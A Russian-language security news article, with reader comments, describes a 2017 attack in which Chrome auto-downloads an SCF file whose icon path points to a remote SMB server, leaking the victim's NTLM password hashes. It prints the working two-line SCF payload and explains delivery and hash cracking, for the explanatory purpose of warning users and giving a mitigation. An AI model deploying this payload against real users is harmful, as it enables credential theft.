Специалист сербской компании DefenseCode Боско Станкович (Bosko Stankovic) предложил интересный способ хищения учетных данных из браузера Chrome. Станкович вдохновился двумя вещами: техникой, подсмотренной у известного вредоноса Stuxnet, а также докладом, который в 2015 году был представлен на конференции Black Hat.

Специалист отмечает, что основная проблема заключается в том, что браузер Chrome автоматически загружает файлы, которые считает безопасными, не спрашивая ни о чем пользователя. С точки зрения безопасности такое поведение вряд ли может считаться приемлемым, даже учитывая тот факт, что пользователю придется запустить автоматически загруженный вредоносный файл вручную, чтобы угроза начала работать и приносить вред. Однако исследователь решил проверить, возможно ли, чтобы загружаемым файлам не нужно будет взаимодействовать с пользователем для осуществления атаки. Оказалось, что возможно.

Методика исследователя строится вокруг использования файлов SCF (Shell Command File), впервые появившихся еще в Windows 98. Данный формат поддерживает очень ограниченный набор команд для Windows Explorer, к примеру, открыть окно Windows Explorer или показать Рабочий стол. Равно как и файлы LNK, SCF, будучи сохранены на жестком диске, запрашивают иконку (icon file), когда пользователь загружает их в Windows Explorer. Браузер Chrome рассматривает SCF-файлы как безопасные и автоматически помещает их в дефолтную директорию для загрузок.

Нюанс в работе LNK уже эксплуатировали злоумышленники и малварь Stuxnet, ведь раньше LNK-файлам разрешалось хранить данные о местонахождении icon file внутри DLL или в виде URL. Разработчики Microsoft исправили данный баг, ограничив файлы LNK таким образом, чтобы они могли подгружать иконки, используя только локальные ресурсы. Однако устранить ту же проблему для SCF-файлов никто не догадался, так что они все еще могут подгружать иконки из интернета.

Опираясь на доклад (PDF) об использовании протокола SMB для реализации атак, который в 2015 году был представлен на конференции Black Hat, Станкович создал SCF-файл, который подгружает иконку через URL, ведущий к SMB-серверу. Фактически это означает, что каждый раз, когда компьютер пользователя будет пытаться загрузить иконку с SMB-сервера, сервер  будет запрашивать у него учетные данные и получит их, так как компьютер жертвы решит, что должен пройти аутентификацию. Станкович отмечает, что Chrome относится настороженно к LNK-файлам со времен Stuxnet, принудительно задействуя для них расширение .download, однако с SCF-файлам того же не происходит. В итоге вредоносный файл для обращения к удаленному SMB-серверу будет содержать всего две строки:

[Shell]
IconFile=\\170.170.170.170\icon

После того как такой SCF-файл попал в систему, он будет срабатывать каждый раз, когда директория загрузок открывается при помощи Windows File Explorer (а это практически неизбежно, ведь пользователь будет открывать ее для работы с другими файлами). Жертве не придется никуда кликать и осуществлять какие-либо действия, Windows File Explorer попытается подгрузить иконку автоматически.

В результате на SMB-сервер атакующего будут переданы учетные данные жертвы, в формате парольных хешей NTLMv2, NTLMv1 или LM (зависит от версии операционной системы). Проблема состоит в том, что существует множество опенсорсных решений для взлома таких хешей. Взломать LM – задача совсем тривиальная, тогда как на «вскрытие» NTLMv2 может потребоваться несколько дней. Хуже того, начиная с Windows 8, пользователь может использовать единый аккаунт Microsoft для входа в систему, так что в руки атакующего попадут не только локальные парольные хеши, но и хеши OneDrive, Outlook.com, Office 365, Office Online, Skype, Xbox Live и так далее.

Станкович пишет, что атакующему даже не понадобится использовать социальную инженерию, чтобы доставить SCF-файл в систему жертвы. Google Chrome без проблем скачает файл самостоятельно, а в сети существует множество сайтов, уязвимых перед проблемой reflected file downloads, то есть позволяющих загружать файлы на компьютеры пользователей.

Так как исправления для данной уязвимости пока нет, исследователь рекомендует изменить настройки Chrome, обязав браузер спрашивать пользователя о загрузке любых файлов: Settings -> Show advanced settings -> Ask where to save each file before downloading.

3 комментария

  1. Protwelsei

    18.05.2017 at 11:48

    Спасибо за статью!

  2. Vindwo

    18.05.2017 at 12:42

    Но ведь это баг не в Chrome, а в самой винде, разве нет?

    • ak545

      18.05.2017 at 12:57

      Баги здесь и в самой ОС Windows, и в браузере, так как последний выступает в роли средства беспрепятственной доставки «посылки» (т.е. БЕЗ участия пользователя).

Оставить мнение